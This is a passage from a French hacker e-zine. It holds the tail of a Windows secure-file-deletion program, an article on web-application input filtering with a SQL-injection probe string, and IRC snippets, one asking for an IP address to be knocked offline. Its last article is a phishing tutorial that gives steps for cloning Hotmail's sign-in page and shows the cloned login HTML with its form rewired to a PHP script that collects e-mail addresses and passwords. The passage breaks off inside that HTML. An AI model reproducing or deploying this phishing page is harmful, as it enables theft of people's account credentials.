                 *
                 * Selon MSDN:
                 *
                 * The MoveFile function will move (rename) either a file or a
                 * directory (including its children) either in the same
                 * directory or across directories.
                 */
                 if (!MoveFile(ptcCurFilename, ptcNewFilename))
                 {
                     _tprintf(_T("MoveFile faild with error: %lu\n"),
                                                                GetLastError());
                     return false;
                 }

                 // on assigne le nouveau nom de fichier comme tant le nom de
                 // fichier courant
                 _tcscpy(ptcCurFilename, ptcNewFilename);
            }

            // tout  bien t
            return true;
        }

        /* SecureDeleteFile
         *
         * Cette fonction gre la rcriture du fichier, la "suppression" du nom
         * de fichier, et finalement sa suppression du systme de fichier.
         */
        void SecureDeleteFile(PTCHAR ptcFilename, DWORD dwFileSizeLow,
                                                           DWORD dwFileSizeHigh)
        {
            HANDLE hFile;
            DWORD dwNumberOfBytesToWrite;
            DWORD dwNumberOfBytesWritten;
            ULONGLONG ullTotalBytesWritten;
            ULARGE_INTEGER uliFileSize;
            bool bOverwriteOK, bRenameOK;
            PTCHAR ptcCurFilename;

            // init
            dwNumberOfBytesToWrite = 0;
            dwNumberOfBytesWritten = 0;
            ullTotalBytesWritten = 0;
            uliFileSize.QuadPart = 0;
            bOverwriteOK = false;
            bRenameOK = false;

            // si le fichier n'a pas une taille de zero
            if (dwFileSizeLow || dwFileSizeHigh)
            {
                /* on ouvre le fichier
                 *
                 * Selon MSDN:
                 *
                 * FILE_FLAG_WRITE_THROUGH :
                 * The system writes through any intermediate cache and goes
                 * directly to disk.
                 */
                hFile = CreateFile(ptcFilename,        // fichier  ouvrir
                               GENERIC_WRITE,          // mode criture
                               0,                      // pas de partage
                               NULL,                   // scurit pas dfaut
                               OPEN_EXISTING,          // doit exister
                               FILE_FLAG_WRITE_THROUGH,// voir commentaire
                               NULL);                  // pas de template

                if (hFile == INVALID_HANDLE_VALUE)
                {
                    _tprintf(_T("CreateFile faild with error: %lu\n"),
                                                                GetLastError());
                    return;
                }

                // calcule la taille du fichier
                uliFileSize.LowPart = dwFileSizeLow;
                uliFileSize.HighPart = dwFileSizeHigh;

                // on boucle tant qu'il reste des donnes  crire
                while(ullTotalBytesWritten < uliFileSize.QuadPart)
                {
                    // combien d'octect  crire
                    dwNumberOfBytesToWrite = \
                             min(uliFileSize.QuadPart - ullTotalBytesWritten,
                                                          SDEL_OVERWRITEBUFFER);
                    // on appel la fonction pour rcrire le fichier
                    bOverwriteOK = FileOverwrite(hFile, dwNumberOfBytesToWrite,
                                                       &dwNumberOfBytesWritten);

                    // est-ce que l'opration  chou
                    if (!bOverwriteOK)
                    {
                        CloseHandle(hFile);
                        return;
                    }

                    // on prend note du nombre total d'octects crit jusqu'
                    // maintenant
                    ullTotalBytesWritten += dwNumberOfBytesWritten;
                }

                // fini, on ferme le fichier
                CloseHandle(hFile);
            }

            // alloue de l'espace mmoire pour le nouveau nom de fichier
            ptcCurFilename = new TCHAR[_tcslen(ptcFilename)];

            // on renomme le fichier
            bRenameOK = FilenameOverwrite(ptcFilename, ptcCurFilename);

            // maintenant que nous avons rcrit et renomm scuritairement le
            // fichier, nous pouvons passer  sa suppression.
            if (!DeleteFile(ptcCurFilename))
            {
                _tprintf(_T("Fail to delete the file, trying to rename it to " \
                                                "it's original filename...\n"));
                // si DeleteFile choue, on renomme le fichier avec son nom
                // original pour ne pas mler l'utilisateur.
                if (!MoveFile(ptcCurFilename,ptcFilename))
                    _tprintf(_T("Fail to rename the file back to it's " \
                                    "original name, the filename is now: %s\n"),
                                                                ptcCurFilename);
                return;
            }

            _tprintf(_T("%s has been deleted\n"),ptcFilename);
        }

        /* ParseFile
         *
         * Fait quelques vrification sanitaire question d'tre sur que le
         * fichier spcifi est bien support par notre programme.
         */
        void ParseFile(PTCHAR ptcFilename)
        {
            WIN32_FILE_ATTRIBUTE_DATA FileAttr;
            TCHAR buffer[4096]="";
            PTCHAR lpPart[4096]={NULL};

            // cherche le chemin d'accs complt du fichier. Le fichier n'a pas
            // besoin d'exister.
            if (!GetFullPathName(ptcFilename, 4096, buffer, lpPart))
            {
                _tprintf(_T("GetFullPathName faild with error: %lu\n"),
                                                                GetLastError());
                return;
            }

            // extraire les attribue du fichier
            if (!GetFileAttributesEx(buffer,GetFileExInfoStandard,&FileAttr))
            {
                _tprintf(_T("GetFileAttributesEx faild with error: %lu\n"),
                                                                GetLastError());
                return;
            }

            // on ne supporte pas la supression de rpertoires
            if (FileAttr.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                _tprintf(_T("Secure delete of directory not supported\n"));
                return;
            }

            // on ne supporte pas la supression pour les fichiers compresss,
            // encrypts ou "sparsed"
            if (FileAttr.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED ||
                         FileAttr.dwFileAttributes & FILE_ATTRIBUTE_ENCRYPTED ||
                         FileAttr.dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
            {
                _tprintf(_T("Secure delete of compressed, encrypted or " \
                                               "sparsed file not supported\n"));
                return;
            }

            // on procde avec la suppression du fichier
            SecureDeleteFile(buffer, FileAttr.nFileSizeLow,
                                                        FileAttr.nFileSizeHigh);
        }

        /* _tmain
         *
         * entrypoint de notre programme
         */
        int _tmain(int argc, TCHAR *argv[])
        {
            // validation rapide des arguments
            if (argc<2)
            {
                _tprintf(_T("You must specify a file\n%s <file>\n"),argv[0]);
                return 1;
            }

            // a commence...
            ParseFile(argv[1]);

            _tprintf(_T("\n"));

            return 0;
        }
        /*------------------CODE END HERE-------------------------------------*/

5. Conclusion

    Comme mentionn plus haut, ce code ne garantis pas que le fichier sera   supprim de faon
    scuritaire. Pourquoi? Simplement parce qu'il prend pour    aquis que le systme garde les
    mmes  unites  d'allocation  (clusters) lors de  la rcriture. Cette information n'a pas 
    t vrifi lors de la rdaction de cette article.
    
    Comme  vous  avez  pu le constater dans le code ci-dessus, la suppression des rpertoires, 
    des fichiers compresss ou encrypts, et les 'sparsed files' ne sont pas supports    dans 
    l'exemple. De plus, un fichier normal peut se voir assigner plusieurs 'alternative stream'
    qui peuvent contenir des  informations relativent au fichiers    et/ou son   contenu.  Ces 
    'alternative stream' ne sont pas supports non plus dans l'exemple ci-dessus.
    
    Vous devez donc considrer le code ci-dessus selement comme un exemple de   la   marche  
    suivre pour  supprimer  un  fichier  de faon scuritaire. Trop de variables n'ont pas t 
    tenu  compte, et le programme ne fonctionne peut-tre pas sur toutes plateformes  Windows,   
    pour qu'il soit considr comme LA solution parfaite.
    
    Vous pouvez aller visiter mon site web pour avoir un code un peu plus complt   malgr  le 
    fait  que plusieurs chose n'ont pas encore t support. Il  semblerait que  Linux  aurait
    peut-tre t plus simple  utiliser comme exemple afin de vous donner  un programme  plus 
    complet et final. a sera pour un autre article ou simplement intgr dans le code de SDEL 
    disponible sur  mon site web.





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |       by Ninja     |
           			                  '--------------------'





       
 						     
      ___ __________________ _ ________________________________________________________ ____
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                                                                         |  |
                          								 |  |
                 <R3pt|L3> 85.31.186.61  qlqun peut killer ca svp 			 |  |
                 									 |  |
                 <c4-> avant faut que taille placer largent dans un enveloppe brune      |  |
                       sous la poubelle, 2ieme rue a gauche                              |  |  
 										         |  |
          		                 					        /   '
 	  	    y'a rien de gratuit dans la vie, sauf votre mindkind :]            /   /B
	 	 	                       					      /   /u
                                                                                     /   /P
  	  		       						            /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   






     	    .-- -- ---- ----.
     	 ___|  MKD1001\007  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                  Le Controle des flux web
   
                                             AKA

                                     des flux pas du flu



                                      



Le filtrage des flux WEB

1 - Principe gnral

Il y a deux mthodes principalement employes pour le filtrage. 

Filtrage interne :  on  utilise  une collection de fonctions/classes pour nettoyer les  flux 
entrant de l'application.

Filtrage externe :  on  utilise un quipement rseau ou une application tierce pour nettoyer 
les flux entrant et sortant de l'application.

On  parle  de  filtrage des requtes envoyes au serveur : elle sont rejetes si elles ne sont 
pas conformes   ce que l'on attend, ou bien leur contenu peut tre rcrit ou nettoy.

2 - Utilit

valuation du risque : EXTREMEMENT CRITIQUE.

Dans le top 10 OWASP des vulnrabilits 2003, 2004 :

A1 : Paramtre non valid
A4 : Cross Site Scripting
A5 : Dbordement de tampon
A6 : Failles d'injection

Quatre items du top dix, dont la plus rpandue des failles de scurit, sont  rsolus  par  un 
filtrage efficace. Le  facteur  de  risque  est  donc  maximum,  et  la rponse apporte   ce 
problme sera une application critique du systme.

3 - Le problme de validit des flux.

Si l'on considre que la trame reue est   priori valide, on s'expose aux attaques :

Buffers overflows
Forced browsing
Cookie poisoning
SQL injection
Command Injection
Format string

Pour  filtrer les donnes entrantes et sortantes nous avons besoin de rgles. Ces rgles  sont 
dfinies par l'utilisation  de l'application et du framework dans lequel elle se trouve ( ex : 
gestion des chappements de caractres en PHP). Cette collection de rgles va dfinir soit les 
requtes valides (filtrage positif), soit les requtes   rejeter. 

Pour que cette validation ait un sens elle doit respecter elle-mme des rgles de bon sens :

La validation est-elle centralise ?
La validation est-elle obligatoire ?
Tout  les  flux  sont-ils bien concerns (paramtres URL, cookies, en-ttes HTTP ...) ou juste 
les formulaires ?
Des paramtres sont-ils utiliss avant la validation ?
Comment sont gres les exceptions de la validation (handler) ?
Pouvez-vous dtecter une attaque base sur l'echec en boucle de la validation ?
Les checs de validation sont-ils journaliss ?

4  Le filtrage interne   l'application

Il s'agit de filtrer les variables que reoit  l'application. Pour une application Web ce sont 
les variables GET, POSTS, COOKIES et SESSION. C'est un filtrage positif, on spcifie  dans  le 
masque uniquement ce qui est explicitement autoris, le reste est nettoy. Cette technique met 
l'accent sur la ncessit de dvelopper ces applications web dans un framework cohrent qui va 
centraliser  le nettoyage des variables. Si cette couche applicative n'a pas t prvue ds le 
dbut du dveloppement, il est extrmement difficile de l'implmenter   posteriori.

Ce filtrage valide les points suivants :

Le type de donnes (surtout dans un langage de programmation non typ)
Le jeu de caractres autoris
La longueur minimale et maximale
Si le nul est permis
Si le paramtre est exig ou non
Si les duplicata sont permis
L'tendu numrique
Les valeurs lgales spcifiques (ex : dpartements)
Les modles spcifiques (masque regexp)

Exemple pour PHP : http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=106757

sanitize_paranoid_string($string) -- input string, returns string stripped of all non alphanumeric characters
sanitize_system_string($string) -- input string, returns string stripped of special characters
sanitize_sql_string($string) -- input string, returns string with slashed out quotes 
sanitize_html_string($string) -- input string, returns string with html replacements for special characters
sanitize_int($integer) -- input integer, returns ONLY the integer (no extraneous characters
sanitize_float($float) -- input float, returns ONLY the float (no extraneous characters)
sanitize($input, $flags) -- input any variable, performs sanitization functions specified in flags. flags can be bitwise combination of PARANOID, SQL, SYSTEM, HTML, INT, FLOAT, LDAP, UTF8

Exemple pour Java : Stinger ( http://www.owasp.org/software/validation/stinger.html ) .
5  le filtrage externe  l'application

Pourquoi filtrer  avant  l'application si on le fait correctement   l'intrieur de celle-ci ?
Si  vous  ne  matrisez  pas  le  dveloppement  de  vos  applications  (si, comme beaucoup de 
dveloppeurs,  vous passez par des prestataires, des produits commerciaux ...), c'est la seule 
mthode  qu'il  vous  reste  pour  valider  vos  flux entrant et sortant. Comme il est presque 
impossible d'tre sr   100% qu'une application qui doit vivre (volution, patchs  correctifs 
etc ...)  ne  comporte  pas  d'oubli  ou de dfaut de structure, c'est le principe ceinture et 
bretelles :)

Il existe deux méthodes :

a ) En utilisant un module sur une couche applicative au-dessus de votre application, comme le 
modSecurity d'Apache ou URLScan et Lockdown pour IIS.

Ces  modules  permettent  de traiter efficacement les problmes de validation de flux pour les 
applications  Web.  Ils  montrent cependant leurs limites lorsque l'application   protger  a 
beaucoup de variables et surtout si l'on connat mal celle-ci. Dans ce cas,  la  gestion   des 
exceptions  de traitement ( variable recevant des donnes potentiellement rejetes et qui sont 
de  cette  faon  sur-traites  par  l'application )  peut vite devenir un casse-tte. De plus 
lorsque  l'application volue il ne faut pas oublier de vrifier qu'il n'y a rien   faire sur 
la configuration du module.

Cette  protection  est  particulirement discrte car elle inclue la possibilit de rediriger, 
avec un code statut de page souhaite ou vers une url. Pour cela il est conseill d'adapter la 
redirection selon le masque qui l'a dclench: une malformation d'en-tte http  ne devrait pas 
donner le mme message d'erreur qu'une tentative d'injection SQL.

La chute de performance est dpendante de la complexit et du nombre de masques de  validation 
utilis, elle se situe entre  5% et 15% en moyenne.

Exemple de configuration de  mod_security : 

http://www.gotroot.com/downloads/ftp/mod_security/rules.conf

Fonctionnalits de mod_security :
Prvention des requtes sur d'autres chemins du Systme de fichier
Suppression des multiples slash
Traite les anti-slash et les slash de la mme manire (Windows seulement) 
Supprime l'auto rfrence des rpertoire (./)
Dtecte et supprime les null-bytes (%00) 
Dcode les caractres encods d'une URL
Validations
Validation de l'encodage de l'URL
Validation de l'encodage unicode
Dtection et rejet des Shell Code (vrification du byte range)
Rgles
Supporte autant de rgles personnalises que l'on souhaite.
Les Rgles sont des expressions rgulires.
Support des Rgles ngatives.
Chaque container (VirtualHost, Location, ...) peut avoir sa configuration.
Analyses des headers (en-ttes http)
Analyses de chaque cookie 
Analyses des variables d'environnement 
Analyses variables de serveur.
Analyses unitaires des variables de page. 
Analyses des POST payload .
Analyses des flux de sortie de script .
Actions
Rejette une requte avec le code Statut de page dsir
Redirige une requte rejet
Excute un programme externe pour un masque de requte
Journalise les requtes
Peut laisser passer les requtes choisies
Permet de chaner des requtes 
Permet d'exclure des rgles sur le test d'une rgle
Possibilit de dfinir des pauses en millisecondes
Envoi de fichiers
Intercepte les fichiers envoys au serveur
Peut stocker les fichiers envoys
Excute un script externe pour approuver ou rejeter un fichier (ex: anti-virus ) 
Autres
Change la signature du serveur
Peut tre facilement chroot
Journal des requtes compltes pour l'audit
Permet de grer des journaux de dbogage
Fonction intelligente qui permet d'appliquer les filtres uniquement sur les contenus dynamiques

b ) En utilisant un quipement rseau supplmentaire comme mandataire pour le rseau interne.

Un  quipement  rseau  responsable  de  la  validation  des flux dcharge le processeur et la 
mmoire  du  serveur  web,  de  plus  cela  cre  un    single point of faillure  dans votre 
architecture Web.

Les  solutions existantes proposent gnralement des fonctionnalités supplmentaires comme de 
l'acclration SSL,  la  rcriture  d'URL  ( url  masking ),  l'authentification  centralise 
( SSO ) et de la rpartition de charge ( load balancing ). Dans les offres les plus  abouties, 
on  trouve  aussi  une  mise  a  jour  automatique  qui  enrichit la base des masques avec les 
 signatures  des derniers vers ou des dernires attaques connues.

Certaines  solutions  proposent  un apprentissage automatique des variables du serveur et leur 
donnent  des  masques  gnriques  ( en  fonction du type de champ : text, textarea, etc ...). 
C'est  une  fonctionnalit  essentielle  lorsque  l'on  doit superviser des sites qui voluent 
souvent, qui intgrent des dveloppements externes, ou qui ont beaucoup de pages. 

Utiliser  un  quipement  externe  permet  aussi  de cloisonner les flux, c'est alors le proxy 
inverse  qui  distribue  vers  les  diffrents  serveurs  les  requtes. Cela masque aussi les 
serveurs  d'applications derrire le site puisque seul le reverse proxy est connect  
Internet. 

Le cot en performance est environ de 20%   30% d'allongement du temps de rponse.

Exemple : Reverse Proxy SSO (open source )

Vulture est un firewall applicatif protgeant efficacement les applications Web.  Bas sur une 
technologie  de  Proxy Inverse,  Vulture  fait  barrire  entre  les  applications et le monde 
extrieur. Il prend en charge toutes les fonctionnalits lies   la scurit, et notamment : 

L'authentification des utilisateurs 
Le chiffrement des flux 
Le filtrage de contenu 
La rcriture des Url 
La haute disponibilité 
La rpartition de charge 


Exemple : Avec Apache

Serveur Web Apache 
Module mod_proxy et mod_proxy_http 
Module Mod_Security 
Module mod_ssl, si on veut faire du HTTPS 




La configuration basique d'Apache pour le firewall applicatif : 

ServerName www.serveur.com
#pour que nous ce ne soit pas un proxy ouvert
ProxyRequests Off
ProxyPass / http://192.168.0.10/
ProxyPassReverse / http://192.168.0.10/
ServerName www.unautre.com
ProxyRequests Off 
ProxyPass / http://192.168.0.11/ 
ProxyPassReverse / http://192.168.0.11/ 


6  Points faibles

L'analyse  des  masques utiliss pour filtrer permet de dterminer quelle syntaxe sera rejete 
ou accepte (ex : javascript et java script).

Certaines variables doivent absolument laisser passer tous les caractres et traiter ceux-ci a 
posteriori; c'est un point dlicat. L'analyse du flux sortant permet  de  limiter  les risques 
tout en tant difficile   mettre en oeuvre (ex : webmails).

Dans le cas d'un quipement rseau supplmentaire, c'est lui seul qui est expos aux  attaques 
(single point of faillure). Il devra tre particulirement robuste et surveill.

7  Du point de vue du pirate

La dtection d'un reverse proxy est dlicate. On peut essayer de  dclencher  des  erreurs  de 
scripts et de serveur pour voir si les rponses du serveur sont cohrentes.

Ex : Quand votre requte est rejete (ex : ?...&var=' OR 1=1;#) une page d'erreur apparat, si 
c'est une erreur 500 ou 404 cela n'est pas logique. Le problme est qu'il contient  maintenant 
ces attaques dans le journal ... 

Si  l'on  sait  quelle  application de filtrage est installe (dans les crdits du vendeur de 
solution de scurit par exemple) , l'analyse des filtres par dfaut peut rvler des 
faiblesses.

crit par Indalo 

     __  __           __  _____
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Indalo     |
           			                  '--------------------'  






      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                 IRC et ses clowns de service            	         :  .
                                                                                         |  |
                                                        				 |  .
                           <beenph> c'est full en force ici                              '  '
 			   <beenph> ye pas la le king du berger                          |  |
                           <beenph> je cherchais ma boulette                             |  |
                           <beenph> jme disais que peut-etre tu l'avais vu tapette       |  |
                           <beenph> t'en penses quoi toi __2                             |  '
                           <beenph> tu es dans le mood on ce souvien que on etait jeune et  ;
                                    con aujourd'hui wyzeman reve seulement d'etre jeune? |  |
			   <beenph> dommmage j'etais ici pour me faire des nouveau amis  |  |
                           <beenph> surtout du genre qui camp le nick du monde pour ce   |  |
                                    faire croire qui sont bon                            :  ;
                           <beenph> hein mon petite wyzy                                 .  |                
                           <beenph> ma bande d'idleux                                    |  |
                                                                                         '  |
										         |  |
                           <beenph> yo la gang de poulaki                                |  '
                           <beenph> ca boum pyrofreak                                    .  ,
                           <beenph> lol 						 |  |
                           <beenph> full h4x0r                                           |  |
                           <beenph> lol 						 :  .
                           <beenph> entouka prochain gt au  berger king les boys         |  |
                           <beenph> c'est wyzeman qui paye                               .  ;      
                     									 |  |
				                                         	         |  |
                           <beenph> Hey ou steak cacher HAAHHAHA                	/   '
 	                   <beenph> hey la boulette   		                       /   / B
	  		   <beenph> tu fais ta timide sors de ton pain		      /   / U   
  	   		   <beenph> lol		 			             /   , P   
                                        			                    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
           




     	    .-- -- ---- ----.
     	 ___|  MKD1001\008  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'

                                        Fake Hotmail

                                            AKA

                              L'art d'etre vrai quand tes pas vrai

 

	N'est stupide que la stupidit, mais  pour  une  raison que j'ignore des gens cherches 
 faker hotmail depuis aussi longtemps que je puisse me souvenir et aucune  release valable et 
simple d'utilisation n'est accessible  partir d'une simple  recherche  sur google depuis tout 
se  temps.  Alors que pourtant on peu facilement en moin de une heure confectionner un fake de 
hotmail plus simple a utiliser qu'une cuillere. Une touche de wget, un peu de parsing, quelque 
ligne de php et nous voici  well  suit  pour faire nos faussaires de la male virtuel. Je ne me 
contenterais pas de vous donnez le poisson sans vous apprendre  pcher,  en  effet,   hotmail 
change de look  de  facon  rguliere depuis ses debuts, et le fake prsentement offert ne sera 
pas indefiniment au gout du jour. Mais en expliquant la facon d'on je l'ai cr,  vous  serrez 
en mesure de l'appliquer sur les prochaines version de hotmail.


	On peu diviser en 3 etapes distinctives les procedures  suivre afin de se crer  sont 
propre fake hotmail maison. Soit, la ceuillette du matriel de base, l'analyse  et  le trimage 
des sources et en dernier lieu la redirection et la rcupration des donner frauduleuses. Pour 
se faire, vous aurez besoin de quelques  outils  dont : wget ou curl, un browser web graphique 
et php ou perl. L'exemple qui suit demontreras la methode utiliser avec wget et php. 



	1) ceuillette du materiel de base


	
	la technique est plutot simple, il suffit de taper www.hotmail.com dans un
browser quelquonque, de copier coller le lien reel vers lequel on est rediriger, et
de faire un wget sur se url. nous obtiendrons un fichier html dans lequel si on y
regarde comme il faut, on peu trouver les url des differents fichier javascript
requis pour assurer le clonage integrale de la page dacceuille de hotmail. Certain
dentre eux seront a disabler plus tard pour assurer la redirection telle que desirer.
Dans le pire des cas nous pouvons nous passer de tout les javascripts il ne controle
que des options de la page dacceuille et naffecte pas le bon deroulement du 
formulaire outre sa redirection. Je conseillerais aussi de downloader le ficher css
de hotmail, mais vous pouvez toujours utiliser ceux hoster sur hotmail meme, tant que
les urls ne seront pas modifier. Par contre en les incorporants a votre fake hotmail
vous lui assurez une stabiliter suplementaire 





	2) analyse et trimage des sources

	
	Bon la premiere chose que lon decouvre c'est que les sources de hotmail 
utilise un format de fin de ligne de type \n et non pas \r\n, ce qui nous impose
une premiere conversion si nous travaillons sous windows, sous peine de ne pas
sy retrouver beaucoup, en second afin de bien comprendre le code, je suggere de
trimer au maximum le contenu dune copie afin doptenir le minimum requis pour que
le formulaire dinscription fonctionne tout en conservant le look initial. vous
devrier obtenir quelque chose du genre :


<!-- ServerInfo: BAYPPLOGU2B06 2006.01.27.13.57.29 Live1 ExclusiveNew LocVer:0 -->
<!-- PreprocessInfo: ppbuild:PASSBLD06, Fri 01:27:2006-12:13:33.93 -- Version: 3,300,4579,0 -->
<html>
<head>
<title>
Sign In
</title>
<meta name="PageID" content="i5030"/>
<meta name="SiteID" content="2"/>
<meta name="ReqLC" content="1033"/>
<meta name="LocLC" content="1033"/>
<link rel="stylesheet" type="text/css" 
href="http://login.passport.net/pp330/CSS/WEBblue1033.css?x=3.200.4104.0"/>
<style type="text/css" media="screen">.css0086
{border:1px solid #336699;}
.css0086
{border-width:2px;}
.css0145
{border:1px solid #DEEBF5;}
.css0144,.css0147
{background-color:#336699;}
.css0145
{background-color:#DEEBF5;}
.css0146
{background-color:#DEEBF5;}
.css0059,.css0150,.css0070,.css0148
{color:#336699;}
a
{color:#336699;}
.css0064 a,.css0027 a
{color:#336699;}
a:hover,.css0144 a:hover,.css0023 a:hover,.css0028 a:hover,.css0172
{color:#336699;}
.css0064 a:hover,.css0027 a:hover
{color:#336699;}
.css0002
{color:#FFF;}
.css0025,.css0025 a,.css0175,.css0175 a,.css0029,.css0029 a
{color:#FFF;}
.css0025 a:hover,.css0029 a:hover,.css0175 a:hover
{color:#FFF;}
body,.css9999,.css9996{ margin:0;padding:0;width:100%;height:100%;}.css9997{ 
width:100%;vertical-align:top;background:#DEEBF5;padding:1px;margin:0;}.css9996{ 
background:#336699;}.css9993{ 
width:431px;height:425px;background:#DEEBF5;}
</style>
</head>
<body >
<table cellpadding="0" cellspacing="0" border="0" class="css9999">
	<tr>
		<td colspan="2">
		<iframe src="http://cb2.msn.com/header.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="100%" height="112" frameborder="0" scrolling="no" align="top" marginwidth="0" marginheight="0" name="i6000">
		</iframe>
		</td>
	</tr>
	<tr>
		<td valign="top" class="css9993">
		<iframe src="http://cb2.msn.com/signup.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="431" height="425" frameborder="0" scrolling="no" align="top" marginwidth="0" marginheight="0" name="i6001">
		</iframe>
		</td>
	<td class="css9997">
		<form name="f1" style="margin:0px;" method="POST" target="_top"  action="mkd.php" >
                <input type="hidden" id="i0326" name="PPSX" value="Pass"/>
                <input type="hidden" name="PwdPad" id="i0340" value=""/>
                <table cellpadding="0" cellspacing="0" class="css0086">
                	<tr>
				<td class="css0144">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td class="css0002">
						Sign In to Hotmail
						</td>
						<td valign="middle" align="right" class="css0029">
						<nobr> 
						<a href="javascript:DoHelp('NoPHKeyWord','','1033','MSN,103','','330');" id="i1055">Help</a>
						</nobr>
						</td>
					</tr>
				</table>
				</td>
			</tr>
			<tr>
				<td class="css0145">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td class="css0119" colspan="2">
						<table cellpadding="0" cellspacing="0" id="i0519" style="display:none;" class="css0113">
							<tr>
								<td class="css0122">
								<img 
src="http://login.passport.net/pp330/images/icon_err.gif?x=3.200.4104.0" alt="Error 
symbol" id="i2017"/>
								</td>
								<td class="css0149">
								<span  class="css0023">Please type your e-mail address in the following format: yourname@example.com. <a href="javascript:DoHelp('PPSlhlpd','','1033','MSN,1033','','330');" id="i1056">Need help signing in?</a></span>
								</td>
							</tr>
						</table>
						</td>
					</tr>
					<tr>
						<td valign="top" class="css0059" align="right">
						<label for="i0116">E-mail address:</label>
						</td>
						<td valign="top" class="css0093">
						<input name="login" type="text" 
id="i0116" maxlength="113" autocomplete="off"  value="" style="ime-mode:disabled" class="css0034" />
						</td>
					</tr>
					<tr style="display:none;" id="i0512">
						<td class="css0096" style="font-size:1px;">
						&nbsp;
						</td>
						<td class="css0097">
						<table cellpadding="0" cellspacing="0" class="css0113">
							<tr>
								<td class="css0122">
								<img 
src="http://login.passport.net/pp330/images/icon_err.gif?x=3.200.4104.0" alt="Error 
symbol" id="i2017"/>
								</td>
								<td class="css0149">
								<span  class="css0023">This information is required.</span>
								</td>
							</tr>
						</table>
						</td>
					</tr>
					<tr>
						<td valign="top" class="css0059" align="right">
						<label for="i0118">Password:</label>
						</td>
						<td valign="top" class="css0093">
						<input name="passwd" type="password" id="i0118" maxlength="16" autocomplete="off"  value="" style="ime-mode:disabled" class="css0034" />
						<div class="css0064"><a href="https://login.passport.com/resetpw.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&_lang=EN&id=2&vv=330&lc=1033&bk=1140888769" id="i1011" >Forgot your password?</a></div>
						</td>
					</tr>
				</table>
				<div class="css0170" align="right">
				<nobr>
				<input name="SI" id="i0011" type="submit" value="    Sign In    " class="css0088"  />
				</nobr>
				</div>
				</td>
			</tr>
			<tr>
				<td class="css0146">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0136" value="1"  />
						</td>
						<td valign="top" class="css0041">
						<label for="i0136">Save my e-mail address and password</label>
						</td>
					</tr>
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0137" value="2" checked />
						</td>
						<td valign="top" class="css0041">
						<label for="i0137">Save my e-mail address</label>
						</td>
					</tr>
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0138" value="3"  />
						</td>
						<td valign="top" class="css0041">
						<label for="i0138">Always ask for my e-mail address and password</label>
						</td>
					</tr>
				</table>
				<div style="padding:3px 0 0 0;font-size:0;">&nbsp;
				</div><p class="css0006" style="padding-left:5px;">
				<a href="https://login.passport.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&lc=1033&_lang=EN&bk=63169598" id='i1663'>Sign in using enhanced security</a></p>
				</td>
			</tr>
			<tr>
				<td class="css0147">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td rowspan="2" valign="top">
						<a 
href="https://accountservices.passport.net/ppnetworkhome.srf?id=2&vv=330&lc=1033" 
target="_blank" id="i1071"><img 
src="http://login.passport.net/pp330/images/ic028.gif?x=3.200.4104.0" 
alt="Microsoft Passport Network" border="0" id="i2033" class="css0189"/></a>
						</td>
						<td class="css0175">
						<a href="https://accountservices.passport.net/ppnetworkhome.srf?id=2&vv=330&lc=1033" target="_blank" id="i1071">Microsoft Passport Network</a>
						</td>
					</tr>
					<tr>
						<td class="css0025">
						<nobr>
						<a href="https://accountservices.passport.net/?vv=330&lc=1033&id=10" target="_top" id="i1081">Account Services</a>&nbsp;|&nbsp;
						</nobr>
						<nobr>
						<a href="https://accountservices.passport.net/PPPrivacyStatement.srf?ru=http://login.passport.net/uilogin.srf%3Fid%3D2%26vv%3D330%26lc%3D1033&id=2&vv=330&lc=1033" target="_top" id="i1518">Privacy Statement</a>&nbsp;|&nbsp;
						</nobr>
						<nobr>
						<a href="https://accountservices.passport.net/PPTOU.srf?ru=http://login.passport.net/uilogin.srf%3Fid%3D2%26vv%3D330%26lc%3D1033&id=2&vv=330&lc=1033" target="_top" id="i1009">Terms of Use</a>
						</nobr>
						</td>
					</tr>
					<tr>
						<td colspan="2" class="css0025" style="padding:3px 0 0 0">
						&copy; 2006 Microsoft Corporation. 
						<nobr>
						All rights reserved.
						</nobr>
						</td>
					</tr>
				</table>
				</td>
			</tr>
		</table>
